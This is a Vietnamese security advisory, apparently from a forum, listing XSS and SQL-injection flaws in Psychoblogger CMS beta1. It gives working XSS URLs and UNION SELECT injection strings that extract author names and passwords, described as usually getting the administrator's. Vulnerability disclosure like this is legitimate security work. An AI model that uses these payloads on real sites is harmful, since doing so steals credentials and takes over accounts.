Lỗi trong Psychoblogger CMS

trang này đã được đọc lần

Website nguồn :http://www.psychoblogger.com
Bản lỗi : PB-beta1
Tác giả : Andrew Smith

Mô tả :
Psychoblogger là một phần mềm được viết bằng PHP sử dụng CSDL MySQL , Dùng để quản lý hệ thống thông tin , dễ cài đặt dễ sử dụng

Các Lỗi tìm thấy :

Lỗi 1 :
Lỗi Cross-Site-Scriting ( CSS) nằm trong file 'imageview.php', cho phép input vào script từ biến "desc" :


http://server.com/imageview.php?desc=</title><script>alert(document.cookie)</script>

Tác đông : Low/Medium - khó có thể khai thác thành công :D , chỉ sử dụng để lấy cookies .

Lỗi 2 :
Vẫn CSS có thể khai thác được tìm thấy trong các file 'entryadmin.php', 'authoredit.php','blockedit.php' 'configadmin.php' và 'quoteedit.php'.


http://server.com/entryadmin.php?error=1&errormessage=<script>alert('xss')</script>

Lỗi 3 :
Một lỗi SQL Injection đươc tìm thấy trong file : 'shouts.php' sử dụng bởi biến 'shoutlimit'.

Lỗi 4 :

Lỗi SQL Injection trong file : " comments.php" sử dụng khai thác từ biến 'blogid''


Hacker có thể truy vấn DB để lấy được username và password của bất cứ id nào .

http://server/comments.php?blogid=1 and 'a'='z' union select ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid
from blog_authors ba, blog_entries be where 'a'='a'


sau đó sử dụng truy vấn sau :


select blogid,preview,entry,be.dateentered,title,pageviews,usepreview,name
from blog_entries be inner join blog_authors ba on be.authorid=ba.authorid
where blogid=1 and 'a'='z' union select ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid
from blog_authors ba, blog_entries be where 'a'='a'
and be.active=1

Khi đó kết quả thu được sẽ cho ta biết user và pass của id đầu tiên trong database (thường là administrator)

Lỗi 5 :
SQL-Injection trong các file : functions.php' 'userfunctions.php', 'category.php' :

Chúng ta bắt đầu khai thác :
1 and 1=2 union select ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid,be.preview
from blog_authors ba, blog_entries be where 1=1


sau đó dùng truy vấn sau để output ra dữ liệu :


select be.blogid,be.preview,be.entry,be.dateentered,be.title,be.pageviews,be.usepreview,ba.name,be.pinned
from blog_entries be inner join blog_authors ba

on be.authorid=ba.authorid where catid=1 and 1=2 union select ba.authorid,name,pwd,email,url,ba.active,comments,be.blogid,be.preview
from blog_authors ba,

blog_entries be where 1=1 and be.active=1 order by be.dateentered desc